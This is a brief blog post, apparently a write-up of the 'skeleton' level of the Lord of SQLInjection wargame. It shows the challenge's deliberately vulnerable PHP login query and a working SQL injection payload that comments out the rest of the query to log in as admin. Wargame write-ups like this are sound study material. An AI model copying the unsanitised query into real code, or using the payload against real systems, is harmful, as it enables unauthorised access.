Post

LOS Lv.10 skeleton

skeleton

1
2
3
4
5
6
7
8
9
10
11
12
13
query : select id from prob_skeleton where id='guest' and pw='' and 1=0

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

Solution

1
2
3
?pw=' or id='admin' %23

무슨 풀이를 의도한 걸까?
This post is licensed under CC BY 4.0 by the author.